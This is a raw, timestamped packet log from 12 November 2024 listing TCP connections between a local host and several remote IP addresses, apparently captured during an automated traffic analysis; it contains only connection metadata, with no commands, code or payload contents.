Nov 12, 2024 08:30:35.599230051 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.599240065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599255085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599261045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.599267006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599277973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599284887 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.599288940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599299908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.599324942 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.599929094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599940062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599956036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599967957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599972963 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.599977970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599984884 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.599989891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599999905 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.600001097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.600013018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.600019932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.600023031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.600033998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.600043058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.600052118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.600056887 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.600085974 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.601871967 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.602005005 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.602058887 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.602287054 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.602299929 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.602308989 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.602313995 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.607156038 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.607294083 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.607345104 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.609198093 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.609198093 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.609230042 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.609244108 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.610325098 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.610342026 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.610384941 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.610407114 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.610420942 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.610436916 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.615859985 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.615885019 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.615936995 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.616908073 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.616918087 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.617733955 CET	49861	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.617773056 CET	443	49861	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.617882967 CET	49861	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.618032932 CET	49861	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.618046045 CET	443	49861	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.619236946 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.619256973 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.619299889 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.619308949 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.619327068 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.619344950 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.620316982 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.620333910 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.620379925 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.620385885 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.620425940 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.620661020 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.620697021 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.620708942 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.620712996 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.620721102 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.620737076 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.620752096 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.622023106 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.622035980 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.627629995 CET	49857	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:35.627650976 CET	443	49857	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.639091969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.639103889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.639146090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.639156103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.640196085 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.652169943 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.652483940 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.652539968 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.652684927 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.652695894 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.652704000 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.652709007 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.654640913 CET	49862	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.654664040 CET	443	49862	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.656313896 CET	49862	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.656470060 CET	49862	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.656480074 CET	443	49862	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.673705101 CET	49857	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:35.678004026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.678020954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.678035975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.678052902 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.678076982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.678105116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.678118944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.678143978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.678152084 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.702018976 CET	49855	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:35.702483892 CET	49856	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:35.704075098 CET	443	49854	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.704864025 CET	443	49854	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.706682920 CET	49854	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.713371992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713397980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713411093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713423967 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.713452101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.713478088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713521957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.713550091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713561058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713596106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.713603020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713608980 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.713637114 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.713659048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713670015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713680029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713691950 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713705063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.713718891 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.713746071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.713828087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713839054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713849068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713862896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.713875055 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.713890076 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.714021921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.714032888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.714042902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.714055061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.714066029 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.714080095 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.714102030 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.723584890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.723603964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.723625898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.723628998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.723651886 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.723659992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.723747015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.723759890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.723772049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.723784924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.723802090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.723823071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.724119902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724133015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724144936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724158049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724165916 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.724181890 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.724196911 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.724529028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724541903 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724554062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724565983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724575043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.724580050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724586010 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.724591970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724605083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724627018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724628925 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.724628925 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.724641085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.724654913 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.724668980 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.724693060 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.725339890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.725353003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.725364923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.725378036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.725380898 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.725389957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.725402117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.725405931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.725415945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.725430012 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.725430965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.725444078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.725444078 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.725467920 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.725490093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.726324081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.726337910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.726350069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.726361036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.726361990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.726377964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.726401091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.727133989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.727149010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.727159977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.727171898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.727184057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.727193117 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.727196932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.727202892 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.727210045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.727221966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.727231979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.727247000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.727262974 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.756587029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.756601095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.756612062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.756624937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.756638050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.756639957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.756650925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.756669998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.756692886 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.782383919 CET	49854	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.782407999 CET	443	49854	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.782435894 CET	49854	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.782442093 CET	443	49854	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.783593893 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.783634901 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.783879042 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.784188986 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.784204006 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.794982910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.795039892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.795063019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.795068026 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.795105934 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.795211077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.795224905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.795253992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.795284986 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.795293093 CET	49864	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.795344114 CET	443	49864	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.795593977 CET	49864	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.817126036 CET	49864	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.817150116 CET	443	49864	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.831403017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831443071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831456900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831478119 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.831501961 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.831559896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831571102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831583977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831621885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.831790924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831809044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831820965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831832886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831842899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.831846952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831859112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.831861019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.831875086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.831901073 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.832256079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832267046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832278013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832289934 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832303047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832309961 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.832314014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832326889 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.832328081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832340002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832350969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832354069 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.832369089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.832382917 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.832935095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832947969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832958937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832969904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832978964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832990885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.832999945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.833039999 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.833192110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833246946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833259106 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833270073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833281994 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833283901 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.833304882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.833328009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.833659887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833672047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833683014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833695889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833707094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833714962 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.833719969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833729982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.833733082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833745003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833753109 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.833758116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833766937 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.833770037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.833790064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.833812952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.834285975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.834300041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.834317923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.834351063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.834363937 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.840630054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.840663910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.840677977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.840723991 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.840744019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.840749025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.840760946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.840779066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.840802908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.840934038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.840946913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.840976954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.841058969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841069937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841079950 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841093063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841104031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841115952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841114998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.841140032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.841151953 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.841414928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841424942 CET	80	49809	185.215.113.206	192.168.2.5
